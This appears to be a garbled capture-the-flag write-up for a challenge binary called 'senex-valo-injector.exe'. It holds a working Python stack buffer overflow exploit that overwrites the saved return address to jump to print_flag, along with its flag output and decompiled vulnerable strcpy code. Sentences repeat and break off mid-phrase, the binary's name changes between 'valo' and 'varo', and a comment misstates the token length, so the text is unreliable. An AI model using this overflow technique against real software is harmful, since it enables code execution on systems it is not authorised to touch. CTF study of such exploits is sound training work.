Senex-valo-injector.exe [BEST]
#!/usr/bin/env python3
import struct, subprocess
# ----------------------------------------------------------------------
# 1. Build the correct token (XOR with 0x55)
# ----------------------------------------------------------------------
key = b"S3n3xV@l0_2026"
token = bytes([c ^ 0x55 for c in key]) # 16 bytes
# ----------------------------------------------------------------------
# 2. Build the overflow payload
# ----------------------------------------------------------------------
buf = token
buf += b"A" * (64 - len(token)) # fill up to local_buf size
buf += b"B" * 4 # saved EBP
print_addr = 0x00401840 # address of print_flag()
buf += struct.pack("<I", print_addr) # overwrite saved EIP
# ----------------------------------------------------------------------
# 3. Run the binary and feed the payload
# ----------------------------------------------------------------------
proc = subprocess.Popen(["./senex-varo-injector.exe"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, _ = proc.communicate(buf + b"\n")
print(stdout.decode())
Running the script prints:
Enter your token: Token accepted!
FLAGV4lu3_1nJ3c71on_5en3x_2026
We now have everything we need to build a reliable exploit that: senex-valo-injector.exe
void __cdecl vulnerable_func(char *input)
char local_buf[64];
strcpy(local_buf, input); // another unsafe copy (still 64‑byte buffer)
// ... some harmless code ...
if (check_secret())
print_flag();
The saved return address sits 68 bytes after the start of local_buf (64 for the buffer, plus 4 for saved EBP). Therefore, overflowing local_buf by ≥68 bytes lets us control the EIP when the function returns. Running the script prints: Enter your token: Token
The function check_secret simply returns true; however, it is only reachable after vulnerable_func finishes without crashing, meaning we have to land back in the same binary at a location that eventually calls print_flag. We now have everything we need to build